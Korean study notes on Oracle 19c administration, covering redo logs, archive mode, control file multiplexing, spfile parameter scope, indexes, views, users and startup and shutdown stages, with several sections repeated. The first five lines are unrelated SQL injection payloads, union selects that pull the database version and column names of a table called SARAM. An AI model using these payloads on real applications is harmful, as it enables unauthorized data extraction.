%' union select 1, '2' , banner, 5 from v$version --
%' union select 100, '1', 'A' , banner , '22', 10 from v$version --
%' union select 20, '1', SID , AMHO , 'YYYYMMDD', 10 from SARAM --
%' union SELECT banner from v$version where row num=1
select rownum r, column_name, data_type %' union select 7, '2', 'A', substr ((select column_name from (select rownum r, column_name from cols where table_name = 'SARAM' order by column_name) where r=1),2,1), 'a', 0 from dual--
현재 사용하는 그룹인 경우 로그 파일 스위치를 시행해야 멤버를 삭제할 수 있다. 데이터베이스가 ARCHIVELOG 모드에서 실행 중이고 멤버가 속한 로그 파일 그룹이 아카이브되지 않은 경우 그 멤버를 삭제할 수 없다. 온라인 리두 로그 파일 멤버를 삭제할 때 OMF 기능을 사용하지 않을 경우 운영 체제 파일은 삭제되지 않는다. )
Redo log file 확인 사용 명령어 SQL> SELECT A.GROUP#, A.MEMBER, B.BYTES, B.STATUS, B.SEQUENCE# 2 FROM V$LOGFILE A, V$LOG B 3 WHERE A.GROUP# = B.GROUP# 4 ORDER BY 1; - 현재 log 그룹과 member의 운영 상황을 조회한다. - GROUP# : 그룹 번호 - MEMBER : 멤버 파일의 경로 및 파일명 - BYTES : 멤버 파일의 크기 - STATUS : 그룹의 상태 [표 4.1]을참고 한다.
Redo log group 추가,삭제
SQL> ALTER DATABASE DROP LOGFILE GROUP [group number]; - 지정한 redo log group을 삭제한다.
SQL> ALTER DATABASE ADD LOGFILE GROUP [group number] 2 (['member file1', 'member file2', ... ]) SIZE [크기]; - redo log group을 추가한다. [group number]는 생략 가능하다.
Redo log member 추가, 삭제
SQL> ALTER DATABASE DROP LOGFILE MEMBER 2 ['member file1', 'member file2', ...]; - 지정한 멤버 파일을 삭제한다.
SQL> ALTER DATABASE ADD LOGFILE MEMBER 2 ['member file'] TO GROUP [group nember], 3 ... ; - redo log 멤버 파일을 지정한 그룹에 추가한다.
아카이브 로그 모드 명령어로 작업을 수행하면 모든 작업 내용이 리두로그 파일 그룹에 저장된다. 작업의 양이 많아 지면 기록하는 데이터의 양도 많아지게 되는데 이때 리두그룹의 용량을 벗어나는 부분은 다른 리두그룹에 저장되게 되고 처음에 작업내용이 저장된 리두파일 그룹은 incative 상태가 된다. 이렇게 작업내용이 그룹에 저장되면서 모든 그룹에 용량이 부족해지면 새로운 작업내용을 이전 작업내용에 덮여 쓰여 작업내용이 지워지게 되어 이전에 작업했었던 작업내용의 데이터 손실이 발생하면 복구하기 어렵다는 단점이 있다. 이런 단점을 해결하기 위한 방법이 리두로그파일의 내용을 다른 디렉토리에 자동으로 복사하여 저장하도록 운영하는 방법을 아카이브 로그모드라고 한다. 아카이브로그모드가 실행중이고 멤버가 속한 로그 파일 그룹이 아카이브 되지 않았을 경우 그 멤버를 삭제 할 수 없다.
col name format a100 select a.group#, a.member, b.bytes, b.status, b.sequence# from v$logfile a, v$log b where a.group# = b.group# order by 1;
오라클 자동 실행 - 환경 ORACLE_OWNER : ora19c $ORACLE_HOME : /app/ora19c/19c $ORACLE_SID : DB19
1. /etc/oratab 파일 수정 $ORACLE_SID:$ORACLE_HOME:Y를 추가 한다. -> # cat /etc/oratab ......... ......... DB19:/app/ora19c/19c:N -> DB19:/app/ora19c/19c:Y로 변경
2. /etc/rc.d/rc.local 에 실행 스크립트를 추가 한다. -> # cat /etc/rc.d/rc.local ......... ......... su - ora19c -c /app/ora19c/19c/bin/"lsnrctl start" -> ora19c 계정의 권한으로 lsnrctl 파일을 실행하게 해준다. (su - ora19c : ora19c 계정 , -C : 실행, /app/ora19c/19c/bin/"lsnrctl start" : lsnrctl 파일의 위치와 실행옵션까지 쓰려면 " "붙여야한다.)
풀테이블스캔 : 위에서부터 데이터를 찾는데 데이터를 찾았다고해도 중복되는 데이터가 있을 수도 있어서 끝까지 다 스캔한다.
인덱스스캔 : 인덱스에 정렬된 데이터의 가운데부터 물어봐서 찾으려는 데이터보다 큰지 작은지 물어보고 만약 크다면 아래는 스캔하지 않고 위쪽의 가운데부터 다시 물어보는 식으로 범위를 좁혀나가서 데이터를 찾는다.
고유 인덱스 (Unique index) : 인덱스 값이 중복되지 않는다. -자동 생성 : PK, UK 가 설정된 컬럼에 자동 생성된다.
비 고유 인덱스 (Non unique index) : 인덱스 값이 중복될수도 있다. -create index 명령으로 생성한다.
인덱스 사례 - 전체 데이터의 10%~15% 정도의 데이터를 검색하는 경우 - WHERE 절이나 조인에 사용되는 컬럼 - 데이터의 행이 매우 많은 경우 - FK 컬럼!!
비 고유 인덱스는 삭제할 수있지만 고유 인덱스는 제약조건을 제거하면 삭제된다.
프라이머리 키를 두개의 컬럼을 묶어서 만들면 인덱스또한 두개의 컬럼을 묶은 상태로 인덱스가 만들어지며 COLUMN_POSITION 에 1, 2 로 위치가 앞뒤로 표기 된다. 어떤 컬럼이 먼저 정렬되있는지가 굉장히 중요하다.
인덱스 조회 명령어
SELECT i.table_name, i.index_name, c.column_name, c.column_position, i.uniqueness FROM user_indexes I, user_ind_columns c WHERE c.index_name = i.index_name AND i.table_name IN ('STUDENT', 'PROFESSOR', 'COURSE', 'SCORE') ORDER BY i.table_name;
select c.table_name, c.constraint_name, c.constraint_type, s.column_name from user_constraints c, user_cons_columns s where c.constraint_name = s.constraint_name and c.table_name IN ('STUDENT', 'PROFESSOR', 'COURSE', 'SCORE') ORDER BY c.table_name, c.constraint_name;
논 유니크 인덱스 생성 create index course_pno_fk on course (pno); create index score_cno_fk on score (cno);
select i.table_name, i.index_name, c.column_name, c.column_position, i.uniqueness from user_indexes i, user_ind_columns c where c.index_name = i.index_name and i.index_name LIKE '%FK' order by c.table_name;
create index student_sname_indx on student (sname); create index student_major_sname_indx on student (major, sname); create index student_coavr_indx on student (avr*4.5/4.0);
select c.index_name, c.column_name, c.column_position, i.uniqueness from user_indexes i, user_ind_columns c where c.index_name = i.index_name and c.table_name = 'STUDENT' order by c.index_name, c.column_position;
인덱스 삭제
select c.index_name, c.column_name, c.column_position, i.uniqueness from user_indexes i, user_ind_columns c where c.index_name = i.index_name and c.table_name = 'STUDENT';
논유니크 인덱스 삭제 drop index student_major_sname_indx;
유니크 인덱스 삭제 alter table student drop constraint student_sno_pk CASCADE;
인덱스 컬럼의 물리적인위치 rowid도 저장
뷰(VIEW) 물리적인 공간을 차지 하지 않는다.(alter는 없음) 테이블을 임의로 볼 수 있는 창문 검색하는 용도로 사용한다. 수정할땐 지우고 새로 만들면 된다.
SQL> CREATE [OR REPLACE][FORCE | NOFORCE] VIEW 뷰 (컬럼 ... ) 2 AS (SELECT 문장 : sub query) 3 [WITH CHECK OPTION [CONSTRAINT constrant_name]] 4 [WITH READ ONLY [CONSTRAINT constrant_name]];
SQL> SELECT view_name, text FROM user_views; SQL> SET LONG 1000 (1000바이트까지 출력)
뷰는 상위 계정에서 사용하는데 관리자 계정으로 접속해서 해당 계정에게 만들 수 있는 권한을 할당할 수 있다. C:\...\>sqlplus / as sysdba SQL> GRANT create view TO st; 권한이 부여되었습니다.
테이블 사용하는 것과 똑같이 사용하면 된다.
단순 뷰는 insert 할 수 있다.하지만 insert 하지 않는게 원칙이다. (뷰에 보이지않는 데이터도 insert 될 수도 있다.) 방지방법 WITH CHECK OPTION CONSTRAINT view_뷰이름_ck;
뷰를 만드는 이유는 복잡한 sql문을 사용하기 어려운 개발자들을 위해 데이터베이스 튜너가 만들어준다.
시퀀스 시퀀스 넘버 ( ex)게시물 번호 ) : 값을 구별은 되지만 값의 의미는 없음 (cycle로 중복될수도 있지만 사용하지 않는다.), 어떤 번호를 받을지는 모른다.
SQL> SELECT NAME FROM V$CONTROLFILE; - 사용 중인 control file의 목록을 조회한다.
3-2 Spfile 환경에서 contril file 다중화 실습
- Spfile을 사용하는 환경에서 다음 step에 따라 control file을 /app/ora19c/oradata/disk4, /app/ora19c/oradata/disk5에 분산 배치한다. step 1. DB의 상태를 확인한다. step 2. control_files 파라미터를 수정한다. step 3. DB를 SHUTDOWN 한다. step 4. 파라미터에 정의한 것과 같이 control file의 물리적 상태를 수정한다. step 5. DB를 STARTUP 한다.
/app/ora19c/oradata/ 디렉토리 안에 disk1,2,3,4,5 디렉토리를 만들어 준다.
DB의 상태를 확인하고 control_files의 위치를 disk4와 disk5로 옮긴다고 입력해주고 shutdown immediate 한다.
오라클이 startup 하지 않은 상태에서 control01, control02 file을 DB19디렉토리에서 disk4, disk5 디렉토리로 옮겨준다.
startup으로 오라클을 open하여 controlfile이 disk4와 disk5에 들어 있는지 확인한다.
SQL> ALTER DATABASE [ MOUNT | OPEN [ READ ONLY | READ WRITE ]]; - DB가 SHUTDOWN 상태가 아니라 NOMOUNT나 MOUNT 상태인 경우 오라클을 더 상위 단계로 올리기 위해 사용한다. NOMOUNT 상태의 DB를 한 번에 OPEN 상태로 올릴 수는 없다. MOUNT : MOUNT 단계로 DB를 변경한다. OPEN: OPEN 단계로 DB을 변경한다. READ ONLY : DB를 읽기전용으로 OPEN한다. READ WRITE : DB를 읽기쓰기 상태로 OPEN한다. SQL> SELECT STATUS FROM V$INSTANCE; - DB의 상태를 확인한다. - STATUS 칼럼의 값은 DB의 상태를 나타낸다.
1-3)shutdown 옵션의 이해
NORMAL : 현재 사용 중인 모든 접속이 종료되길 기다린다. (기본값)
TRANSACTIONAL : 진행 중인 TRANSACTION은 기다려주지만 TRANSACTION이 진행 중이지 않은 세션은 강제 종료 시킨다.
SQL> STARTUP OPEN READ ONLY; - 종료 상태의 DB를 읽기전용으로 OPEN한다. SQL> ALTER DATABASE OPEN READ ONLY; - MOUNT 상태의 DB를 읽기 전용으로 OPEN한다. SQL> SELECT OPEN_MODE FROM V$DATABASE; - 데이터베이스의 상태를 조회한다. - READ ONLY와 READ WRITE 상태가 있다.
read only로 startup
read only로 startup시 일반 사용자 터미널에서는 테이블을 읽을 순 있지만 테이블을 삭제하지는 못한다.
2-1parameter file 확인
SQL> SELECT name, value FROM V$PARAMETER; - Parameter 이름과 설정된 값을 확인한다. SQL> SHOW PARAMETER <parameter 명> - 설정된 parameter 값을 확인 한다.
parameter의 설정된 값과 이름, 위치를 확인 할 수 있다.
2-2 spfile 환경에서 파라미터 확인과 수정
SQL> ALTER SYSTEM SET <parameter 명> = <값>; - 지정한 파라미터의 값을 수정한다. - spfile 사용 환경에서 설정된 파라미터 값은 항구적으로 수정된다. - 동적인 파라미터만 수정 가능하다.
SQL> SELECT NAME, VALUE FROM V$PARAMETER; - 현재 운영중인 parameter 값을 조회한다. - 'SHOW PARAMETER ~'에 출력 값과 동일하다.
SQL> SELECT NAME, VALUE FROM V$SPPARAMETER; - spfile에 설정된 값을 조회한다.
SQL> select name, value from v$spparameter where name like '%undo%';
SQL> select name,value from v$parameter where name like '%undo%';SQL> show parameter undo;
alter 명령어를 이용하여 undo_retention의 값을 300으로 변경
shutdown 후 startup 해서도 변경된 값이 저장되어 있다.
2-3 Spfile 운영 환경에서 scope 설정에 따른 parameter 값의 변화
SQL> ALTER SYSTEM SET <parameter 명> = <값> SCOPE = [SPFILE | MEMORY | BOTH]; - 지정한 parameter의 값을 수정한다. - SCOPE 절은 spfile 운영 환경인 경우만 사용한다. - SPFILE : spfile만 수정한다. (정적 parameter 수정에서는 필수이다.) - MEMORY : 현재 DB의 parameter 설정 값만 수정한다. spfile은 수정하지 않음으로 DB를 재시작하면 원래 설정 값으로 환원된다. - BOTH : spfile과 instance의 설정된 parameter값을 모두 수정한다.(default값)
3-1 Control file 확인
SQL> SELECT NAME FROM V$CONTROLFILE; - 사용 중인 control file의 목록을 조회한다.
3-2 Spfile 환경에서 contril file 다중화 실습
- Spfile을 사용하는 환경에서 다음 step에 따라 control file을 /app/ora19c/oradata/disk4, /app/ora19c/oradata/disk5에 분산 배치한다. step 1. DB의 상태를 확인한다. step 2. control_files 파라미터를 수정한다. step 3. DB를 SHUTDOWN 한다. step 4. 파라미터에 정의한 것과 같이 control file의 물리적 상태를 수정한다. step 5. DB를 STARTUP 한다.
/app/ora19c/oradata/ 디렉토리 안에 disk1,2,3,4,5 디렉토리를 만들어 준다.
DB의 상태를 확인하고 control_files의 위치를 disk4와 disk5로 옮긴다고 입력해주고 shutdown immediate 한다.
오라클이 startup 하지 않은 상태에서 control01, control02 file을 DB19디렉토리에서 disk4, disk5 디렉토리로 옮겨준다.startup으로 오라클을 open하여 controlfile이 disk4와 disk5에 들어 있는지 확인한다.
4-1) Redo log file 확인
SQL> SELECT A.GROUP#, A.MEMBER, B.BYTES, B.STATUS, B.SEQUENCE# 2 FROM V$LOGFILE A, V$LOG B 3 WHERE A.GROUP# = B.GROUP# 4 ORDER BY 1; - 현재 log 그룹과 member의 운영 상황을 조회한다. - GROUP# : 그룹 번호 - MEMBER : 멤버 파일의 경로 및 파일명 - BYTES : 멤버 파일의 크기 - STATUS : 그룹의 상태 [표 4.1]을참고 한다. SQL> ARCHIVE LOG LIST - Archive log 관련 내용을 조회한다. - Archive log mode가 아닌 경우 조회된 내용은 별 의미가 없다.
SELECT a.group#, a.member, b.bytes, b.status, b.sequence# FROM v$logfile a, v$log b WHERE a.group# = b.group# ORDER BY 1;ARCHIVE LOG LIST
4-2) Log switch와 checkpoint
SQL> ALTER SYSTEM SWITCH LOGFILE; - Log switch를 강제로 발생 시킨다. SQL> ALTER SYSTEM CHECKPOINT; - Check point를 강제로 발생 시킨다.
SELECT a.group#, a.member, b.bytes, b.status, b.sequence# FROM v$logfile a, v$log b WHERE a.group# = b.group# ORDER BY 1; 를 이용하여 현재 redo파일의 상태를 확인한다.
ALTER SYSTEM SWITCH LOGFILE; 명령어로 Log switch를 강제로 발생시켜 상태를 변경시킨다.
ALTER SYSTEM CHECKPOINT; 명어로 Check point를 강제로 발생시킨다.
SQL> !vi switch.sql < switch.sql을 만들고 switch 와 checkpoint 강제로 발생시키게 내용을 입력해준다. ALTER SYSTEM SWITCH LOGFILE; ALTER SYSTEM CHECKPOINT;
@switch 명령어를 사용하면 안에 입력한 내용이 실행되면서 Log switch와 checkpoint를 강제로 발생시킨다.
4)3 Redo log group 추가와 삭제
SQL> ALTER DATABASE DROP LOGFILE GROUP [group number]; - 지정한 redo log group을 삭제한다. SQL> ALTER DATABASE ADD LOGFILE GROUP [group number] 2 (['member file1', 'member file2', ... ]) SIZE [크기]; - redo log group을 추가한다. [group number]는 생략 가능하다.
ALTER DATABASE DROP LOGFILE GROUP 3; 명령어로 GROUP 3이 삭제되었다.
!ls /app/ora19c/oradata/DB19/ 를 해보면 안에 redo03.log 파일이 남아 있는데
!rm /app/ora19c/oradata/DB19/redo03.log 명령어로 삭제해 준다.
ALTER DATABASE ADD LOGFILE GROUP 4 '/app/ora19c/oradata/DB19/redo04.log' SIZE 50M; 용량이 50M인 LOGFILE GROUP 4를 만들어준다.
SELECT a.group#, a.member, b.bytes, b.status, b.sequence# FROM v$logfile a, v$log b WHERE a.group# = b.group# ORDER BY 1;
조회결과 용량 50M의LOGFILE GROUP 4가 생성된 것을 확인 할 수 있다.
ALTER DATABASE ADD LOGFILE GROUP 5 '/app/ora19c/oradata/DB19/redo05.log' SIZE 50M; 명령어로 50M의 LOGFILE GROUP 5가 생성되었다.
4-5) Redo log file 재배치
- redo log 그룹과 member를 시스템 상태에 다음 조건에 따라 재배치한다. . /app/ora19c/oradata/DB19 디렉토리에 위치한 redo log file을 3개의 그룹과 2개의 멤버 파일로 서로 다른 디스크의 마운트 디렉토리인 disk4와 disk5에 다중화 한다. . 단 그룹의 번호는 1,2,3으로, 멤버 파일의 크기는 50M로 제한한다.
현재 redo log file group을 확인한다.
GROUP 1, 2를 삭제 해준다.
GROUP 1,2,3,의 redo log file을 용량50M로 disk4와 disk5에 위치하게 생성한다.
GROUP 4, 5를 삭제한다.SELECT a.group#, a.member, b.bytes, b.status, b.sequence# FROM v$logfile a, v$log b WHERE a.group# = b.group# ORDER BY 1; 명령어로 각각의 redo log file group의 위치와 정보를 확인한다.
DB19 디렉토리에 남은 log파일을 확인하고 지워준다.
실습 5.4 Tablespace 확장 2 - 자동
OPEN 상태에서 tablespace 이동
SQL> CREATE TABLESPACE <tablespace명> 2 DATAFILE '<data file명>' SIZE <크기> 3 AUTOEXTEND ON NEXT <크기> MAX SIZE <크기>; - 자동으로 커지는 data file을 갖는 tablespace를 생성한다. - NEXT : 증가치 - MAX SIZE : 최대 크기 SQL> ALTER TABLESPACE <tablespace명> 2 ADD DATAFILE '<추가될 data file명>' SIZE <크기> 3 AUTOEXTEND ON NEXT <크기> MAX SIZE <크기>; - tablespace에 자동으로 커지는 data file을 추가 한다. SQL> ALTER DATABASE 2 DATAFILE '<변경할 data file명> 3 AUTOEXTEND [ON | OFF] NEXT <크기> MAX SIZE <크기>; - 지정한 data file을 자동증가를 설정한다.
User 생성과 관리
1) User 조회
SQL> SELECT username, default_tablespace, temporary_tablespace, 2 account_status, profile 3 FROM dba_users; - User의 이름과 각 user의 여러 설정 사항을 조회한다. - USERNAME : 사용자명 - DEFAULT_TABLESPACE : 기본으로 사용할 tablespace명 - TEMPORARY_TABLESPACE : 사용할 temporary tablespace명 - ACCOUNT_STATUS : 계정의 상태 - PROFILE : 사용 중인 profile명
SQL> DESC dba_users;
SQL> SELECT username, default_tablespace, temporary_tablespace, account_status, profile FROM dba_users ORDER BY 1;
2) User 생성
SQL> CREATE USER <user 명> 2 IDENTIFIED BY <암호> 3 DEFAULT TABLESPACE <tablespace 명> 4 TEMPORARY TABLESPACE <tablespace 명> 5 QUOTA <크기> ON <tablespace 명>, ...... 6 [ACCOUNT {LOCK / UNLOCK}] 7 [PROFILE {<profile명> / DEFAULT}] - User를 생성한다. - DEFAULT TABLESPACE : User의 기본 tablespace - TEMPORARY TABLESPACE : User의 기본 temporary tablespace - QUOTA : tablespace별 허용된 저장량 - ACCOUNT : 계정 잠금 설정 - PROFILE : 적용될 PROFILE 지정 - CREATE 문장은 ALTER 문장과 형식이 동일하다. SQL> SELECT username, tablespace_name, max_bytes, max_blocks FROM dba_ts_quotas; - 각 사용자의 tablespace별 quota량을 조회한다. - MAX_BYTES : 할당된 quota량 (byte단위) - MAX_BLOCKS : 할당된 quota량 (block개수) - quota가 unlimited로 지정되어 제한하지 않는 경우 -1로 표시된다.
SQL> SELECT tablespace_name, bytes, file_name FROM dba_data_files;
컨트롤파일 관리 파일명에는 경로명이 반드시 들어가야한다. v$ 데이터딕셔너리캐시에 만들어지는데 셧다운하면 없어진다.
SQL> SELECT NAME FROM V$CONTROLFILE; - 사용 중인 control file의 목록을 조회한다.
SQL> SHOW PARAMETER control_files
NAME TYPE VALUE ------------------------------------ ----------- ------------------------------ control_files string /app/ora19c/oradata/DB19/control01.ctl,
/app/ora19c/oradata/DB19/control02.ctl
컨트롤 파일의 이름,타입과 위치정보
SQL> DESC v$controlfile; Name Null? Type ----------------------------------------- -------- ---------------------------- STATUS VARCHAR2(7) NAME VARCHAR2(513) IS_RECOVERY_DEST_FILE VARCHAR2(3) BLOCK_SIZE NUMBER FILE_SIZE_BLKS NUMBER CON_ID NUMBER
SQL> SELECT name FROM v$controlfile;
NAME -------------------------------------------------------------------------------- /app/ora19c/oradata/DB19/control01.ctl /app/ora19c/oradata/DB19/control02.ctl
인스턴스에 접속하려면 파라미터파일이 필요하다. 파라미터파일 하나로 여러곳 공유 가능하다. (다중 인스턴스 구현)
파미터파일중에 실시간으로 바꿀수있는게 있고 실시간으로 바꾸지 못하는게 있다.
SQL> SELECT name, value FROM V$PARAMETER; - Parameter 이름과 설정된 값을 확인한다. SQL> SHOW PARAMETER <parameter 명> - 설정된 parameter 값을 확인 한다.
SQL> SELECT name, value FROM v$parameter WHERE name = 'spfile';
NAME -------------------------------------------------------------------------------- VALUE -------------------------------------------------------------------------------- spfile /app/ora19c/19c/dbs/spfileDB19.ora
: 파라미터 파일의 위치를 알 수 있다.
SQL> SHOW PARAMETER instance_name
NAME TYPE VALUE ------------------------------------ ----------- ------------------------------ instance_name string DB19 SQL>
SQL> SELECT name, value FROM v$spparameter WHERE name LIKE '%undo%';
NAME -------------------------------------------------------------------------------- VALUE -------------------------------------------------------------------------------- temp_undo_enabled
undo_management
undo_tablespace UNDOTBS1
NAME -------------------------------------------------------------------------------- VALUE -------------------------------------------------------------------------------- undo_retention 500 현재 운영중인 파라미터 값 조회,'SHOW PARAMETER ~'에 출력 값과 동일하다.
SQL> SELECT name,value FROM v$parameter WHERE name LIKE '%undo%';
NAME -------------------------------------------------------------------------------- VALUE -------------------------------------------------------------------------------- temp_undo_enabled FALSE
undo_management AUTO
undo_tablespace UNDOTBS1
NAME -------------------------------------------------------------------------------- VALUE -------------------------------------------------------------------------------- undo_retention 500 - spfile에 설정된 값을 조회한다.
SQL> SHOW PARAMETER undo;
NAME TYPE VALUE ------------------------------------ ----------- ------------------------------ temp_undo_enabled boolean FALSE undo_management string AUTO undo_retention integer 500 undo_tablespace string UNDOTBS1
SQL> ALTER SYSTEM SET = <값>;</parameter 명> - 지정한 파라미터의 값을 수정한다. - spfile 사용 환경에서 설정된 파라미터 값은 항구적으로 수정된다. - 동적인 파라미터만 수정 가능하다.
SQL> ALTER SYSTEM SET undo_retention=300;
System altered.
SQL> SELECT name, value FROM v$spparameter 2 WHERE name = 'undo_retention';
NAME -------------------------------------------------------------------------------- VALUE -------------------------------------------------------------------------------- undo_retention 300
값을 300으로 변경
SQL> SHOW PARAMETER undo_retention;
NAME TYPE VALUE ------------------------------------ ----------- ------------------------------ undo_retention integer 300
Total System Global Area 830469472 bytes Fixed Size 8901984 bytes Variable Size 562036736 bytes Database Buffers 251658240 bytes Redo Buffers 7872512 bytes Database mounted. Database opened. SQL> SHOW PARAMETER undo_retention;
NAME TYPE VALUE ------------------------------------ ----------- ------------------------------ undo_retention integer 300 SQL>
shutdown 후 startup 후에도 적용된 모습
Spfile 운영 환경에서 scope 설정에 따른 parameter값의 변화
SQL> ALTER SYSTEM SET <parameter 명> = <값> SCOPE = [SPFILE | MEMORY | BOTH]; - 지정한 parameter의 값을 수정한다. - SCOPE 절은 spfile 운영 환경인 경우만 사용한다. - SPFILE : spfile만 수정한다. (정적 parameter 수정에서는 필수이다.) - MEMORY : 현재 DB의 parameter 설정 값만 수정한다. spfile은 수정하지 않음으로 DB를 재시작하면 원래 설정 값으로 환원된다. - BOTH : spfile과 instance의 설정된 parameter값을 모두 수정한다.(default값)
SQL> SHOW PARAMETER undo_retention;
NAME TYPE VALUE ------------------------------------ ----------- ------------------------------ undo_retention integer 300 SQL> SHOW PARAMETER undo_retention;
NAME TYPE VALUE ------------------------------------ ----------- ------------------------------ undo_retention integer 300 SQL> ALTER SYSTEM SET undo_retention = 600 SCOPE = memory;
System altered.
SQL> SHOW PARAMETER undo_retention;
NAME TYPE VALUE ------------------------------------ ----------- ------------------------------ undo_retention integer 600 SQL> SELECT name, value FROM v$parameter WHERE name = 'undo_retention';
NAME -------------------------------------------------------------------------------- VALUE -------------------------------------------------------------------------------- undo_retention 600
SQL> SELECT name, value FROM v$spparameter WHERE name = 'undo_retention';
NAME -------------------------------------------------------------------------------- VALUE -------------------------------------------------------------------------------- undo_retention 300
SQL> startup ORACLE instance started.
Total System Global Area 830469472 bytes Fixed Size 8901984 bytes Variable Size 562036736 bytes Database Buffers 251658240 bytes Redo Buffers 7872512 bytes Database mounted. Database opened. SQL> SHOW PARAMETER undo
NAME TYPE VALUE ------------------------------------ ----------- ------------------------------ temp_undo_enabled boolean FALSE undo_management string AUTO undo_retention integer 300 undo_tablespace string UNDOTBS1 SQL> ALTER SYSTEM SET undo_retention = 500 SCOPE = spfile;
System altered.
SQL> SHOW PARAMETER undo_retention;
NAME TYPE VALUE ------------------------------------ ----------- ------------------------------ undo_retention integer 300 SQL> SELECT name,value FROM v$parameter WHERE name = 'undo_retention';
NAME -------------------------------------------------------------------------------- VALUE -------------------------------------------------------------------------------- undo_retention 300
SQL> SELECT name,value FROM v$spparameter WHERE name = 'undo_retention';
NAME -------------------------------------------------------------------------------- VALUE -------------------------------------------------------------------------------- undo_retention 500
STARTUP spfileora19c.ora 파일로 오라클을 실행한다. 한단계씩 올라갈 수 있다. (두단계씩은 못올라감)
alter database 단계명 (DB가 shutdown 상태가 아니라 NOMOUNT나 MOUNT 상태인 경우 오라클을 더 상위 단계로 올리기 위해 사용한다.
NOMOUNT 상태의 DB를 한번에 OPEN 상태로 올릴 수는 없다.
MOUNT 인스턴스 시작, 컨트롤파일을 열어서 물리적인 위치나 상태정보를 알 수 있다. OPEN 모든 파일을 열어서 일반사용자가 사용 할 수 있게 해준다.
READ ONLY DB를 읽기전용으로 OPEN한다.
READ WRITE DB를 읽기쓰기 상태로 OPEN한다.
SQL> SELECT STATUS FROM V$INSTANCE; - DB의 상태를 확인한다. - STATUS 칼럼의 값은 DB의 상태를 나타낸다.
STARTUP NOMOUNT으로 스타트하여 인스턴스가 시작된 상태DATABASE MOUNTDATABASE OPEN
Shutdown
Shutdown 종료 옵션
NORMAL: 현재 사용 중인 모든 접속이 종료되길 기다린다.(서버에 접속한사람이 없을때 셧다운)
TRANSACTIONAL : 진행 중인 transaction은 기다려주지만 transaction이 진행 중이지 않은 세션은 강제 종료시킨다. (서버에 접속한사람 끊고 셧다운 (작업중이면 끝나고 셧다운시킴)) IMMEDIATE : 모든 transaction과 접속을 강제로 종료한다. (서버에 접속한사람 강제로 셧다운)
ABORT : DB의 상태와는 상관없이 메모리에서 instance를 해제한다. (정전)
SYS 계정의 SHUTDOWN IMMEDIATE일반 사용자 계정으로는 shutdown 명령을 할 수 없다.
startup 역순
오픈단계 : 컨트롤파일로 데이터파일, 리두로그파일을 열어야한다. 마운트단계 : 파라미터파일안에 컨트롤파일의 정보를 읽어서 실행하고 데이터파일과 리두로그파일의 위치,상태정보를 확인한다. 노마운트단계 : 파라미터파일의 정보는 위치와 이름이 정해져 있다.